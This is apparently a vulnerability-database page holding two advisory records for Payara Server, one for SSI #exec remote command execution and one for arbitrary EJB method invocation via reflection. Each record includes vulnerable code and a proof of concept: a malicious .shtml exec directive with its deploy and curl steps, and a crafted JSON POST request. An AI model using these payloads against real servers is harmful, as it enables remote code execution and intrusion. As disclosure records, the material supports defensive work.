              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "*Description:*\nPayara Server contains a vulnerability in its Server-Side Includes (SSI)\nimplementation that allows arbitrary operating system command execution via\nthe #exec directive. The issue occurs because user-controlled SSI\ndirectives are passed directly to Runtime.exec() without validation,\nsanitization, or restriction. An attacker who can cause the server to\nprocess an SSI file (e.g., .shtml) can execute arbitrary OS commands with\nthe privileges of the Payara process. This vulnerability results in remote\ncode execution when SSI processing is enabled and accessible.\n\n*Affected Product:*\n\n   - Payara Server (Community \u0026 Enterprise)\n   - Affects versions where:\n      - Server-Side Includes (SSI) are enabled\n      -  SSIExec command handling is available\n      - #exec cmd is not explicitly disabled\n\n*Impact:*\n\n   - Successful exploitation allows an attacker to:\n   - Execute arbitrary OS commands\n   - Read/write files on the server\n   - Install backdoors or persistence mechanisms\n   - Pivot to internal networks\n   - Fully compromise the host system\n\n\n*Root Cause:*\n*The vulnerability exists in the following class:*\norg.apache.catalina.ssi.SSIExec\n\n*Specifically, the process() method executes untrusted input directly:*\nelse if (paramName.equalsIgnoreCase(\"cmd\")) {\n    Runtime rt = Runtime.getRuntime();\n    Process proc = rt.exec(substitutedValue);\n\n\n*Proof of Concept (PoC):*\n*Malicious SSI File:*\n\u003c!-- poc.shtml --\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch2\u003eSSI Exec Test\u003c/h2\u003e\n\u003cpre\u003e\n\u003c!--#exec cmd=\"id\" --\u003e\n\u003c/pre\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n*Deployment:*\njar cf ssitest.war .\n$PAYARA_HOME/bin/asadmin deploy --force=true ssitest.war\n\n*Payload:*\ncurl http://localhost:8080/ssitest/poc.shtml\n\n*Output:*\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch2\u003eSSI Exec Test\u003c/h2\u003e\n\u003cpre\u003e\nuid=0(root) gid=0(root) groups=0(root)\n\n\u003c/pre\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:51Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/19"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/19"
        },
        {
          "url": "http://localhost:8080/ssitest/poc.shtml"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/19"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Payara 7.2026.1.RC1 Remote Code Execution via Server-Side Includes #exec Directive in Payara Server",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0007",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/19",
            "automated": true,
            "contentSha256": "30e1d1d387b6afddce1098ee16d0b6e5cfa021ee513c8773ba0f68459e4a60e6",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/19",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-30T23:51:02Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T06:42:13Z",
    "dateUpdated": "2026-09-09T13:03:51Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0007"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0006

Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
Title
Payara 7.2026.1.RC1 Arbitrary EJB Method Invocation via Insecure Reflection in Payara Server
Summary
Payara Server exposes multiple HTTP-accessible EJB invocation mechanisms that rely on attacker-controlled reflection, dynamic class loading, and unsafe deserialization. These endpoints allow remote clients to perform arbitrary JNDI lookups, resolve attacker-supplied class names, and invoke EJB business methods via reflection without sufficient authorization enforcement or input restriction. Both the deprecated InvokeEJBServlet and the EjbOverHttpResource (EJB-over-HTTP JAX-RS endpoint) implement the same insecure design pattern: user-controlled inputs are used to select classes, methods, parameter types, and argument values, which are then executed reflectively inside the application context. Deprecation does not disable or mitigate the exposure, leaving a powerful remote invocation surface reachable in production deployments. Affected Components - *EJB-over-HTTP JAX-RS Resource* - Class: fish.payara.ejb.http.endpoint.EjbOverHttpResource - Paths: - /jndi/lookup - /jndi/invoke - Media Types: JSON / Java Serialization - Technology: JAX-RS / EJB / JNDI / Reflection / JSON-B - *Deprecated HTTP Servlet* - Component: fish.payara.ejb.invoke.InvokeEJBServlet - Servlet Mapping: /ejb/* - Status: Deprecated but registered, reachable, and functional Affected Versions - Payara Server versions that include and expose either: - InvokeEJBServlet, or - EjbOverHttpResource *Vulnerability Details:* The affected endpoints perform a series of insecure operations that collectively expose a powerful reflection-based invocation surface. User-supplied jndiName values are passed directly to InitialContext.lookup, and the application context is dynamically switched based on parsed JNDI input, enabling access to arbitrary EJBs within the target application and, in some cases, across application boundaries. Once a target EJB is resolved, attacker-controlled method names and parameter type names are processed using Java reflection, and Method.invoke() is executed on EJB proxies without any allowlisting, capability checks, or restriction to intended business methods. In parallel, parameter and return types are resolved using Class.forName() with the application’s class loader, allowing resolution of any class visible within the application context. User-supplied JSON payloads are then deserialized via JSON-B into attacker-chosen target types, creating a generic deserialization sink that feeds directly into the reflective invocation flow. Authentication is optional and controlled by the client, while authorization failures do not consistently terminate execution, allowing invocation logic to continue after partial or failed security checks. Finally, detailed reflection and invocation errors, such as NoSuchMethodException, are returned verbatim to the client, disclosing internal EJB proxy class names, interface structures, and method resolution behavior, which enables method and interface enumeration and facilitates further exploitation. *Impact:* A remote attacker may be able to: - Invoke arbitrary EJB business methods - Access EJBs outside the intended application scope - Bypass or weaken authorization controls - Abuse JSON-B deserialization with attacker-chosen target types - Enumerate internal classes, interfaces, and method signatures - Trigger sensitive or administrative application functionality - Potentially achieve remote code execution, depending on reachable methods and classes - The exposure of a generic reflection-based invocation primitive significantly increases the attack surface of affected Payara deployments. *Vulnerable Code — EjbOverHttpResource:* *Attacker-Controlled JNDI Lookup* Object bean = service.getBean(jndiName); *Application Context Switching Based on User Input* String applicationName = jndiName.substring(12, jndiName.indexOf('/', 12)); ClassLoader appClassLoader = service.getAppClassLoader(applicationName); Thread.currentThread().setContextClassLoader(appClassLoader); *Externally Controlled Class Resolution* Class.forName(name, true, Thread.currentThread().getContextClassLoader()); *Reflection-Based Method Resolution* Method method = findBusinessMethodDeclaration( ejb, request.method, argTypes ); *Reflection-Based Method Invocation* Object result = method.invoke( ejb, request.argDeserializer.deserialise( request.argValues, method, argActualTypes, Thread.currentThread().getContextClassLoader() ) ); *Unsafe JSON-B Serialization / Type Handling* JsonbBuilder.create().toJson(result.result, returnType, output); *Information Disclosure via Reflection Errors* throw new NoSuchMethodException( "No method matching " + methodName + "(" + Arrays.toString(argTypeClasses) + ") found" ); *Vulnerable Code — InvokeEJBServlet (Deprecated but Active):* *Attacker-Controlled JNDI Lookup (Direct & Cross-Application)* Object bean = new InitialContext().lookup(beanName); *And the cross-application fallback:* for (String applicationName : registry.getAllApplicationNames()) { currentThread.setContextClassLoader(registry.get(applicationName).getAppClassLoader()); Object bean = new InitialContext().lookup(beanName); return operation.execute(bean); } *Application Context Switching Based on User Input* String applicationName = beanName.substring(12, beanName.indexOf('/', 12)); currentThread.setContextClassLoader( registry.get(applicationName).getAppClassLoader() ); *Externally Controlled Class Resolution* Class.forName(className, true, Thread.currentThread().getContextClassLoader()); (from toClass()) private static Class<?> toClass(JsonValue classNameValue) { String className = ((JsonString) classNameValue).getString(); return Class.forName(className, true, Thread.currentThread().getContextClassLoader()); } *Reflection-Based Method Resolution Using Attacker Input* this.method = findBusinessMethodDeclaration(methodName, argTypeClasses); return intf.getMethod(methodName, argTypeClasses); *Reflection-Based Method Invocation* this.result = method.invoke(bean, argValues); (from Invocation.invoke()) *Unsafe JSON-B Deserialization into Attacker-Chosen Types* return jsonb.fromJson(objectValue.toString(), type); (from toObject()) argValues[i] = toObject(jsonArgValues.get(i), argTypes[i]); (from toObjects()) *Broken Authorization Enforcement (Execution Continues)* if (!request.isUserInRole(role)) { response.setStatus(HttpServletResponse.SC_FORBIDDEN); } *Information Disclosure via Reflection Errors* throw new NoSuchMethodException( "No method matching " + methodName + "(" + Arrays.toString(argTypeClasses) + ") found in business interface" ); And error propagation: response.sendError( SC_INTERNAL_SERVER_ERROR, "Error while invoking invoking method " + methodName + " on EJB with name " + beanName + ": " + ex.getMessage() ); *Proof of Concept:*POST /ejb-invoke-1.0/ejb/ HTTP/1.1 Host: localhost:8080 Content-Type: application/json { "lookup": "java:global/ejb-invoke-1.0/TestBean", "method": "exec", "argTypes": ["java.lang.String"], "argValues": ["test"] } *Output:* HTTP/1.1 500 java.lang.NoSuchMethodException: test.__EJB31_Generated__TestBean__Intf____Bean__.exec(java.lang.String) Server: Payara Server 6.2024.6 #badassfish Ron Edgerson Vulnerability Researcher & Exploit Developer CVE Research | Binary Exploitation | Application & Systems Security Responsible Disclosure • Proof-of-Concept Development 🌐 https://github.com/ob1sec 🔗 https://www.linkedin.com/in/ronedgerson1 <https://linkedin.com/in/yourhandle> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
Payara Payara Affected: unknown
Create a notification for this product.
Credits

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Payara",
          "vendor": "Payara",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Payara Server exposes multiple HTTP-accessible EJB invocation mechanisms\nthat rely on attacker-controlled reflection, dynamic class loading, and\nunsafe deserialization. These endpoints allow remote clients to perform\narbitrary JNDI lookups, resolve attacker-supplied class names, and invoke\nEJB business methods via reflection without sufficient authorization\nenforcement or input restriction.\n\nBoth the deprecated InvokeEJBServlet and the EjbOverHttpResource\n(EJB-over-HTTP JAX-RS endpoint) implement the same insecure design pattern:\nuser-controlled inputs are used to select classes, methods, parameter\ntypes, and argument values, which are then executed reflectively inside the\napplication context. Deprecation does not disable or mitigate the exposure,\nleaving a powerful remote invocation surface reachable in production\ndeployments.\n\nAffected Components\n\n   -\n\n   *EJB-over-HTTP JAX-RS Resource*\n   -\n\n      Class: fish.payara.ejb.http.endpoint.EjbOverHttpResource\n      -\n\n      Paths:\n      -\n\n         /jndi/lookup\n         -\n\n         /jndi/invoke\n         -\n\n      Media Types: JSON / Java Serialization\n      -\n\n      Technology: JAX-RS / EJB / JNDI / Reflection / JSON-B\n      -\n\n   *Deprecated HTTP Servlet*\n   -\n\n      Component: fish.payara.ejb.invoke.InvokeEJBServlet\n      -\n\n      Servlet Mapping: /ejb/*\n      -\n\n      Status: Deprecated but registered, reachable, and functional\n\n\nAffected Versions\n\n   -\n\n   Payara Server versions that include and expose either:\n   -\n\n      InvokeEJBServlet, or\n      -\n\n      EjbOverHttpResource\n\n*Vulnerability Details:*\nThe affected endpoints perform a series of insecure operations that\ncollectively expose a powerful reflection-based invocation surface.\nUser-supplied jndiName values are passed directly to InitialContext.lookup,\nand the application context is dynamically switched based on parsed JNDI\ninput, enabling access to arbitrary EJBs within the target application and,\nin some cases, across application boundaries. Once a target EJB is\nresolved, attacker-controlled method names and parameter type names are\nprocessed using Java reflection, and Method.invoke() is executed on EJB\nproxies without any allowlisting, capability checks, or restriction to\nintended business methods. In parallel, parameter and return types are\nresolved using Class.forName() with the application\u2019s class loader,\nallowing resolution of any class visible within the application context.\nUser-supplied JSON payloads are then deserialized via JSON-B into\nattacker-chosen target types, creating a generic deserialization sink that\nfeeds directly into the reflective invocation flow. Authentication is\noptional and controlled by the client, while authorization failures do not\nconsistently terminate execution, allowing invocation logic to continue\nafter partial or failed security checks. Finally, detailed reflection and\ninvocation errors, such as NoSuchMethodException, are returned verbatim to\nthe client, disclosing internal EJB proxy class names, interface\nstructures, and method resolution behavior, which enables method and\ninterface enumeration and facilitates further exploitation.\n\n*Impact:*\nA remote attacker may be able to:\n\n   - Invoke arbitrary EJB business methods\n   - Access EJBs outside the intended application scope\n   - Bypass or weaken authorization controls\n   - Abuse JSON-B deserialization with attacker-chosen target types\n   - Enumerate internal classes, interfaces, and method signatures\n   - Trigger sensitive or administrative application functionality\n   - Potentially achieve remote code execution, depending on reachable\n   methods and classes\n   - The exposure of a generic reflection-based invocation primitive\n   significantly increases the attack surface of affected Payara deployments.\n\n\n\n*Vulnerable Code \u2014 EjbOverHttpResource:*\n*Attacker-Controlled JNDI Lookup*\nObject bean = service.getBean(jndiName);\n\n*Application Context Switching Based on User Input*\nString applicationName = jndiName.substring(12, jndiName.indexOf(\u0027/\u0027, 12));\nClassLoader appClassLoader = service.getAppClassLoader(applicationName);\nThread.currentThread().setContextClassLoader(appClassLoader);\n\n*Externally Controlled Class Resolution*\nClass.forName(name, true, Thread.currentThread().getContextClassLoader());\n\n*Reflection-Based Method Resolution*\nMethod method = findBusinessMethodDeclaration(\n    ejb,\n    request.method,\n    argTypes\n);\n\n*Reflection-Based Method Invocation*\nObject result = method.invoke(\n    ejb,\n    request.argDeserializer.deserialise(\n        request.argValues,\n        method,\n        argActualTypes,\n        Thread.currentThread().getContextClassLoader()\n    )\n);\n\n*Unsafe JSON-B Serialization / Type Handling*\nJsonbBuilder.create().toJson(result.result, returnType, output);\n\n*Information Disclosure via Reflection Errors*\nthrow new NoSuchMethodException(\n    \"No method matching \" + methodName + \"(\" +\n    Arrays.toString(argTypeClasses) + \") found\"\n);\n\n*Vulnerable Code \u2014 InvokeEJBServlet (Deprecated but Active):*\n\n*Attacker-Controlled JNDI Lookup (Direct \u0026 Cross-Application)*\nObject bean = new InitialContext().lookup(beanName);\n*And the cross-application fallback:*\nfor (String applicationName : registry.getAllApplicationNames()) {\n\ncurrentThread.setContextClassLoader(registry.get(applicationName).getAppClassLoader());\n    Object bean = new InitialContext().lookup(beanName);\n    return operation.execute(bean);\n}\n\n*Application Context Switching Based on User Input*\nString applicationName = beanName.substring(12, beanName.indexOf(\u0027/\u0027, 12));\ncurrentThread.setContextClassLoader(\n    registry.get(applicationName).getAppClassLoader()\n);\n\n*Externally Controlled Class Resolution*\nClass.forName(className, true,\nThread.currentThread().getContextClassLoader());\n(from toClass())\nprivate static Class\u003c?\u003e toClass(JsonValue classNameValue) {\n    String className = ((JsonString) classNameValue).getString();\n    return Class.forName(className, true,\n        Thread.currentThread().getContextClassLoader());\n}\n\n*Reflection-Based Method Resolution Using Attacker Input*\nthis.method = findBusinessMethodDeclaration(methodName, argTypeClasses);\nreturn intf.getMethod(methodName, argTypeClasses);\n\n*Reflection-Based Method Invocation*\nthis.result = method.invoke(bean, argValues);\n(from Invocation.invoke())\n\n*Unsafe JSON-B Deserialization into Attacker-Chosen Types*\nreturn jsonb.fromJson(objectValue.toString(), type);\n(from toObject())\nargValues[i] = toObject(jsonArgValues.get(i), argTypes[i]);\n(from toObjects())\n\n*Broken Authorization Enforcement (Execution Continues)*\nif (!request.isUserInRole(role)) {\n    response.setStatus(HttpServletResponse.SC_FORBIDDEN);\n}\n\n*Information Disclosure via Reflection Errors*\nthrow new NoSuchMethodException(\n    \"No method matching \" + methodName + \"(\" +\n    Arrays.toString(argTypeClasses) + \") found in business interface\"\n);\nAnd error propagation:\nresponse.sendError(\n    SC_INTERNAL_SERVER_ERROR,\n    \"Error while invoking invoking method \" + methodName +\n    \" on EJB with name \" + beanName + \": \" + ex.getMessage()\n);\n\n\n*Proof of Concept:*POST /ejb-invoke-1.0/ejb/ HTTP/1.1\nHost: localhost:8080\nContent-Type: application/json\n\n{\n  \"lookup\": \"java:global/ejb-invoke-1.0/TestBean\",\n  \"method\": \"exec\",\n  \"argTypes\": [\"java.lang.String\"],\n  \"argValues\": [\"test\"]\n}\n\n*Output:*\n\nHTTP/1.1 500 java.lang.NoSuchMethodException:\ntest.__EJB31_Generated__TestBean__Intf____Bean__.exec(java.lang.String)\nServer: Payara Server 6.2024.6 #badassfish\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:50Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/18"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/18"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/18"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Payara 7.2026.1.RC1 Arbitrary EJB Method Invocation via Insecure Reflection in Payara Server",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0006",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/18",
            "automated": true,
            "contentSha256": "182a7e08978a96dd01492ec11a69b1388632cbfd5842c19681d53697ec1d14f6",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/18",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-30T23:50:19Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T06:42:13Z",
    "dateUpdated": "2026-09-09T13:03:50Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0006"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}
displaying 241 - 250 publications in total 387